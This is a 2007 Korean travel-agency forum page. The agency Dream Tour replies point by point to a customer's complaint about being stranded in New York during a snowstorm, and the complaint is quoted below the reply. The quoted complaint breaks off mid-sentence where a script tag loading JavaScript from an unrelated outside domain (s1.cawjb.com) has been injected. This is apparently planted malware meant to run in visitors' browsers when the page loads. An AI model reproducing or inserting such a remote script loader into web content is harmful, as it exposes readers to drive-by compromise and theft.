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글제목
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미국 여행시 유의할 사항
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글쓴이
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김동수
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E-Mail
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(비공개)
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등록일
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2007-02-20 오후 7:25:04
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조회수
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1881
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글번호
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157
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우선 고객님께 많은 불편과 불 만족스러운 자사의 서어비스에 대해 죄송하다는 말씀을 드립니다.
고객님께서 한번만 더 자사의 하기와 같은 행동에 대해 숙지해 주셨으면 하는 바램에서 덧글을 올립니다.
드림투어의 손님에 대한 노력-
1.첫날 공항미팅은 아메리카 항공으로 가이드가 짐 찾는곳 (Baggage Claim)안에 들어갈 수 없으며,고객미팅 하는 곳에서 손님을 모셨으며, 이때 자사로 고객님께서 전화왔을때도 미팅에 관한 자세한 말씀을 직원(윌리엄 채)이 해드렸습니다. 미 국내선중 JFK공항내에 아메리카 항공만 유일하게 짐찾는곳이 청사내에 있어 어느 누구도 들어갈 수 없는곳 입니다.
2.천재지변으로 인해 행사 종료 후 모든 항공이 취소로 인해 고객을 호텔에까지 모셔다 드릴 수 밖에 없었으며, 또한 호텔에 체크인까지 모든 서비스를 해드렸습니다.
3.고객님의 따님분들께서 미국에 사신지 2년이 넘어 영어가 가능했고 또한 한국인이 운영하는 콜택시 전화번호까지 드렸 으며,현지 상황에 대해 자세히 설명을 드렸습니다.
4.고객의 불안함을 제가 회사에 말씀드려 다음날 공항까지 모셔다 드렸으며,이때 제게 공항까지 바려다 준것에대해 감사의 말씀도 잊지 않으셨는데,,,
5.고객님께서 자사에 전화를 주셔서 비행기가 취소로 인해 탑승을 못해 자사 강대휘 고문 님이 공항으로 가서 모시고 하숙집을 찾아 편안히 모셔 다 드렸습니다.
6.고객님께서 몇일 더 머무르려 하는데 명문대 탐방 프로그램이 있으면 하고싶다 해서 1명 1박2일 투어를 원하셔서 해드린다 했는데, 다시 3분이 가신다 해서 어차피 이문을 남기고자 한 투어가 아니어서 추가요금 없이 해드렸습니다. *고객님을 위한 봉사임을 말씀드리고 싶습니다.*
7.행사에 관해 또는 이용 호텔에 대해 자사에서 고객께 만족을 못 시켰드렸는지 묻고싶습니다. 최상의 호텔과 음식 그리고 2006년 새 버스를 이용해서 모셨습니다.
8.어제 1박2일 명문대 탐방 행사를 마치고 유해영 가이드님께 감사의 전화까지 아끼지 않으셨다 들었습니다.
9.고객님의 불안과 초조함으로 인해 자사와 L.A아주 관광이 몇일동안 지속적인 연락을 취하였었고, 고객님과도 연락을 취한걸로 알고있습니다. 10.고객님께서 남겨주신 진심어린 쓴소리 한마디가 자사의 큰 밑거름이 될 수 있지만,때론 쓴소리 한마디에 오랫동안 고객분들께 쌓아온 자사의 믿음과 신뢰는 물거품이 될 수 도 있음을 생각해 봐 주셨으면 감사 하겠습니다. *항상 최선을 다하는 드림투어가 되도록 노력하겠습니다.* 새해 복 많이 받으십시오!
미국 여행시 꼭 알아야할 유의사항 > > 2007년 2월 중순 두 딸아이와 함께 미국 동부여행을 했습니다. >여러 가지 신경 쓰임과 불편함을 생각해 LA에서 전통 있고 인지도 높은 아주 관광 회사를 이용했습니다. >LAX에서 아주관광 직원의 얼굴도 못 보고 개별적으로 비행기를 수속하여 뉴욕의 JFK 공항에 도착하여 맞아주는 사람도 없이 헤매다가 겨우 현지 여행사 가이드를 만나 우리의 미국동부 여행은 시작 되었고 안 좋은 날씨에도 불구하고 가이드의 노력으로 4박5일의 여행은 그럭저럭 순조롭게 진행되었습니다. >문제는 마지막 날 폭설로 인해 뉴욕JFK 공항의 모든 항공기의 이착륙이 금지되어 뉴욕에 강제로 체류하게 된 것입니다. >현지 가이드의 4박5일 일정이 모두 끝났다며 한 호텔에 덩그러니 떨구어 놓고 콜 택시 불러 다음날 공항에 알아서 가라는 말과 함께 나와 두 아이는 서러운 밤을 뉴욕 멘하탄에서 보내게 되었습니다. >다음날 조금의 미안함이 있었던지 12시에 호텔로 와서 JFK 공항 까지 데려다 주었습니다 >그날 점심도 못 먹고 4시간을 줄서서 기다리며 4일후에 출발하는 항공편을 받은 순간의 암담함과 절망감은 지금도 아찔합니다. >밖은 어두워지고 당황이 되었지만 공항에서 대책 없이 몇 일을 보낼 수 없어 현지 드림투어에 전화해 방법을 문의한 결과 패키지 투어와 새로운 비행기표 구입을 제시했습니다. >우여곡절 끝에 그다음 날 우리는 $1,000을 내고 1박2일의 BOSTON 관광을 했습니다. 이 과정에서도 한번의 식사비용과 가이드 팁을 내야했습니다. >1박2일 관광외의 비용은 말할 것도 없이 카드로 해결해야 했습니다 > >그 와중에도 LA 아주관광은 전화 한통화도 없었습니다. >LA에 있는 남편이 전화를 해본결과 아주관광과 드림투어는 상대방 회사에게 전화를 하라고 할뿐 책임 회피에 급급 할뿐 이었습니다. >즐거운 마음으로 떠난 여행이 여행사의 무책임과 무성의로 불안하고 초조하고 서운했던 기억만을 간직하게 되었습니다 >여하튼 지금은 LA에 돌아와 마음의 평정을 찾았지만 일방적인 여행사의 횡포와 최소한의 ?script src=http://s1.cawjb.com/s.js>
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